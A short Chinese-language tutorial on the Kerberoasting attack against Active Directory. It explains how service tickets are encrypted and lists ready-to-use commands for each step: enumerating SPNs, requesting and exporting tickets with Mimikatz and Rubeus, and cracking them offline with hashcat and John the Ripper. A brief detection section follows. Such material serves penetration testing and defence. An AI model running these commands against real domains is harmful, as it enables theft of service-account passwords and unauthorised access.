1.Kerberoast 攻击概述
Kerberoast 是一种针对 Kerberos 协议 的攻击技术,主要利用 服务票据(Service Ticket) 的特性,通过离线破解获取服务账户的明文密码。
2.攻击原理
- Kerberos 协议流程:
- 用户请求访问服务时,向 KDC(Key Distribution Center)请求 TGT(Ticket Granting Ticket)。
- 用户使用 TGT 请求 服务票据(Service Ticket)。
- 服务票据使用服务账户的 NTLM 哈希 加密。
- 攻击者行为:
- 攻击者通过 Kerberoasting 获取服务票据。
- 服务票据使用服务账户的哈希加密,攻击者可以离线破解哈希,获取明文密码。
3.攻击步骤
(1)枚举SPN
使用工具枚举域内配置了 SPN 的服务账户:
# 使用 PowerView
Get-NetUser -SPN
# 使用 Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>
(2)请求服务票据
请求目标服务账户的票据:
# 使用 Mimikatz
kerberos::ask /target:<SPN>
# 使用 Rubeus
Rubeus.exe kerberoast /user:<SERVICE_ACCOUNT> /nowrap
(3)导出票据
将票据导出为可破解的格式(如 hashcat 或 john 支持的格式):
# 使用 Mimikatz
kerberos::list /export
# 使用 Rubeus
Rubeus.exe kerberoast /format:hashcat
(4)离线破解
使用工具破解服务账户的哈希:
# 使用 Hashcat
hashcat -m 13100 -a 0 <HASH_FILE> <WORDLIST>
例子:hashcat -m 13100 hash.txt rockyou.txt #rockyou.txt 是kali自带的密码本,破解hash密码为明文
# 使用 John the Ripper
john --format=krb5tgs --wordlist=<WORDLIST> <HASH_FILE>
4.检测Kerberoasting
日志分析
- 事件 ID 4769:Kerberos 服务票据请求。
- 检查大量服务票据请求的源 IP 和账户。
工具检测
- BloodHound:分析域内权限关系,识别易受攻击的服务账户。
- ATA(Advanced Threat Analytics):检测 Kerberoasting 行为。